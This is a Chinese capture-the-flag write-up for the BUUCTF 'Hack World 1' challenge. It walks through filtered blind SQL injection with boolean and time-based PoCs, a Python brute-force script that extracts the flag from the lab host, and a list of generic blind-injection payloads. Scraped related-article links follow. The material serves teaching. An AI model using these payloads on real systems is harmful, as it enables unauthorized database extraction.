【BUUCTF】Hack World 1
【BUUCTF】Blacklist (SQL盲注)
题目来源
收录于:BUUCTF CISCN2019 华北赛区 Day2 Web1
题目描述
纯粹的SQL注入题

当输入1时,返回字符串:Hello, glzjin wants a girlfriend.

当输入为2时,返回字符串:Do you want to be my girlfriend?

当输入为其他数字时,返回字符串:Error Occured When Fetch Result.

尝试闭合,发现以下字符被过滤,大小写也无法绕过:
%20 or and union ;
题解
Poc
现在可以确定,当输入1时会返回:Hello, glzjin wants a girlfriend.
由于存在过滤,也不返回报错语句,因此报错注入和堆叠注入都不适用。只能使用盲注。
题目已经给了提示,flag所在表名和列名都叫flag,尝试是否可以使用盲注,PoC如下,两个都可以:
id=if(1,sleep(5),0) //时间盲注
id=(2>1) //布尔盲注
当输入 (2>1) 时,返回如下

说明 2>1 被当作判断语句执行了。
当输入 if(1,sleep(5),0) 时,页面睡了一会儿,因此也可以使用时间盲注。
EXP
构造语句:
id=((select(ascii(substr(flag,$a,1)))from(flag))=$b)
对$a,$b进行枚举。
这里我使用的是布尔盲注,读者可以尝试编写时间盲注的脚本
import requests
target_string = "Hello"
url = "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php"
headers = {
"Host": "937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
"Connection": "keep-alive",
"Referer": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
body1 = "id=((select(ascii(substr(flag,"
body2 = ",1)))from(flag))="
body3 = ")"
# 创建一个会话对象
session = requests.Session()
try:
for i in range(1, 50):
for j in range(40, 126):
body = body1 + str(i) + body2 + str(j) + body3
response = session.post(url, headers=headers, data=body)
# 检查响应状态
response.raise_for_status()
# print(response.text)
# 若返回报文中存在字符串“Hello”则说明命中
if target_string in response.text:
print(chr(j), end='')
break
finally:
# 关闭会话
session.close()
执行代码得到flag

总结
当不返回报错语句时,尝试使用盲注。
盲注PoC:
//时间盲注
id = if(1,sleep(5),0)
id = 1 or if(1,sleep(2),0)
//布尔盲注
id = (2>1)
id = -1 or (2>1)
布尔盲注payload:
id= -1 or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx %23
时间盲注payload:
id= -1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx,sleep(2),0) %23
【BUUCTF】Hack World 1的更多相关文章
- 【XSY2708】hack 网络流
题目描述 给你一个图,每条边有一个权值.要求你选一些边,满足对于每条从\(1\)到\(n\)的路径上(可以不是简单路径)有且仅有一条被选中的边.问你选择的边的边权和最小值. \(n\leq 100\) ...
- 【BUUCTF】强网杯 2019随便注1 write up
输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...
- 【BUUCTF】ACTF2020 新生赛Include1 write up
查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...
- 【必备】史上最全的浏览器 CSS & JS Hack 手册
[必备]史上最全的浏览器 CSS & JS Hack 手册 浏览器渲染页面的方式各不相同,甚至同一浏览器的不同版本(“杰出代表”是 IE)也有差异.因此,浏览器兼容成为前端开发人员的必备技 ...
- 【10】css hack原理及常用hack
[10]css hack原理及常用hack 原理:利用不同浏览器对CSS的支持和解析结果不一样编写针对特定浏览器样式.常见的hack有1)属性hack.2)选择器hack.3)IE条件注释 IE条件注 ...
- Python高手之路【一】初识python
Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...
- .htaccess详解及.htaccess参数说明【转】
目录(?)[-] htaccess 详解 htaccess rewrite 规则详细说明 RewriteEngine OnOff RewriteBase URL-path RewriteCond Te ...
- 转:【总结】浏览器CSS Hacks汇总,浏览器兼容方式CSS Hacks
[总结]浏览器CSS Hacks汇总 浏览器兼容可以说是前端开发所要面对的第一个挑战,目前我的电脑上已经安装了6种浏览器(基于IE内核的不算,如Maxthon等). CSS hacks利用浏览器的 ...
- 【原】常见CSS3属性对ios&android&winphone的支持
2个月前,我在博文<webapp开发中兼容Android4.0以下版本的css hack>中写过“那对于做移动网页开发的同事来说,一般只要做好webkit内核浏览器的展现效果就行了” ,在 ...
- 【转载】CSS 伪类-:before和:after
:before和:after的作用就是在指定的元素内容(而不是元素本身)之前或者之后插入一个包含content属性指定内容的行内元素,最基本的用法如下: #example:before { conte ...
随机推荐
- 4 步缩减 Script Evaluation Time
4 步缩减脚本评估时间 (Script Evaluation Time) https://touch.marfeel.com/resources/blog/reduce-script-evaluati ...
- 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-8- 元素高级定位技巧(详细教程)
1.简介 随着网页的复杂性和动态性的增加,自动化测试变得越来越重要.Playwright作为一款强大的无头浏览器测试库,提供了多种元素定位方式,使得我们能够轻松地对网页进行自动化操作.在基础的定位方式 ...
- JVM实战—2.JVM内存设置与对象分配流转
大纲 1.JVM内存划分的原理细节 2.对象在JVM内存中如何分配如何流转 3.部署线上系统时如何设置JVM内存大小 4.如何设置JVM堆内存大小 5.如何设置JVM栈内存与永久代大小 6.问题汇总 ...
- Qt开发经验小技巧196-200
关于Qt延时的几种方法. void QUIHelperCore::sleep(int msec) { if (msec <= 0) { return; } #if 1 //非阻塞方式延时,现在很 ...
- Sqlsugar 跨库查询小心得(同服务器不同数据库)
同一个服务器下的不同数据库,目前还没有进行跨服务器的查询,以后有待研究-- 1.使用的是Left Join左查询,因此连接字符串应该是写的第一个表所在的数据库的连接字符串 假设数据库A,B,连接字符串 ...
- lottie-web动画库在HTML5页面中和在vue项目中的两种使用方式
本文主要介绍lottie-web动画库在HTML5页面中和在vue项目中的两种使用方式. 1.在HTML5页面中的使用方式 具体使用步骤详见下面的代码: <!DOCTYPE html> & ...
- matlab中mat文件的生成和读取
1.mat文件的生成 (1)直接在Matlab中创建并保存矩阵数据 打开Matlab软件,点击左上角文件(File),然后点击新建(new),选择变量(Variable),就新建了一个mat文件. 点 ...
- Matlab R2009b 版 license 到期问题
打开2009b Matlab,反复提示需要激活,是lisense到期了,到期时间2017年11月11日.解决方法: 将以下内容替换 Matlab 安装路径下 license/*.lic 文件中的所有内 ...
- 2025-01-01:优质数对的总数Ⅰ。用go语言,给定两个整数数组 nums1 和 nums2,分别长度为 n 和 m,以及一个正整数 k。 如果 nums1 数组中的元素 nums1[i] 能被
2025-01-01:优质数对的总数Ⅰ.用go语言,给定两个整数数组 nums1 和 nums2,分别长度为 n 和 m,以及一个正整数 k. 如果 nums1 数组中的元素 nums1[i] 能被 ...
- Note -「Lagrange 反演」记笔习学
也许施工完成啦? 对于常数项为 \(0\),一次项非 \(0\) 的多项式 \(F,G\),定义复合运算 \(\circ\),满足 \[(F\circ G)(x)=F(G(x))=\sum_{ ...